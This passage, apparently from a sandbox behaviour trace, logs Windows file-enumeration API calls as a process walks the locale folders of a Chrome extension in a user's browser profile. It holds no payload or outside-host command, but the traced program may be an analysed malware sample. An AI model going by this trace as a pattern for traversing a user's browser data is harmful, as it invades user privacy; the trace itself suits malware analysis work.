ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x1c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.817] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f08770, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x1c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.817] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0277.817] GetProcessHeap () returned 0x550000 [0277.817] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0277.817] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f2e100, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f2e100, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mr", cAlternateFileName="")) returned 1 [0277.818] GetProcessHeap () returned 0x550000 [0277.818] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0277.818] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f2e100, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f2e100, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0277.818] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f2e100, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f2e100, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.818] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f2e100, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f2f870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x12c, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.818] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f2e100, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f2f870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x12c, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.818] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0277.818] GetProcessHeap () returned 0x550000 [0277.818] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0277.818] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f2e100, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f2e100, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f2e100, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ms", cAlternateFileName="")) returned 1 [0277.818] GetProcessHeap () returned 0x550000 [0277.818] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0277.818] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f2e100, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f2e100, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f2e100, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0277.818] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f2e100, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f2e100, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f2e100, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.818] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f2e100, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f2f870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xcb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.819] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f2e100, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f2f870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xcb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.819] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0277.819] GetProcessHeap () returned 0x550000 [0277.819] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0277.819] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f2e100, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f2e100, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f2e100, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ne", cAlternateFileName="")) returned 1 [0277.819] GetProcessHeap () returned 0x550000 [0277.819] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0277.819] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f2e100, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f2e100, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f2e100, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0277.821] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f2e100, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f2e100, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f2e100, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.821] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f2e100, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f2f870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x20b, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.821] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f2e100, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f2f870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x20b, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.821] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0277.821] GetProcessHeap () returned 0x550000 [0277.821] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0277.821] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f2e100, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f54260, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f54260, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1 [0277.821] GetProcessHeap () returned 0x550000 [0277.821] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0277.821] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f2e100, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f54260, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f54260, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0277.823] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f2e100, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f54260, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f54260, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.823] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f54260, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.824] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f54260, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.824] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0277.824] GetProcessHeap () returned 0x550000 [0277.824] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0277.824] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f54260, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f54260, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1 [0277.824] GetProcessHeap () returned 0x550000 [0277.824] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0277.824] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f54260, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f54260, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0277.824] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f54260, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f54260, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.824] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f54260, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x96, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.824] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f54260, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x96, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.824] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0277.824] GetProcessHeap () returned 0x550000 [0277.824] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0277.824] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f54260, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f54260, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl", cAlternateFileName="")) returned 1 [0277.824] GetProcessHeap () returned 0x550000 [0277.824] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0277.824] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f54260, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f54260, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0277.826] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f54260, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f54260, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.826] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f54260, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.826] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f54260, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.826] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0277.826] GetProcessHeap () returned 0x550000 [0277.826] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0277.826] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f54260, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f54260, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_BR", cAlternateFileName="")) returned 1 [0277.826] GetProcessHeap () returned 0x550000 [0277.826] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0277.826] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f54260, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f54260, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0277.827] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f54260, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f54260, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.827] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f54260, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.827] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f54260, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.827] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0277.827] GetProcessHeap () returned 0x550000 [0277.827] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0277.827] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7a3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f7a3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_PT", cAlternateFileName="")) returned 1 [0277.827] GetProcessHeap () returned 0x550000 [0277.827] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0277.827] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7a3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f7a3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0277.828] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, 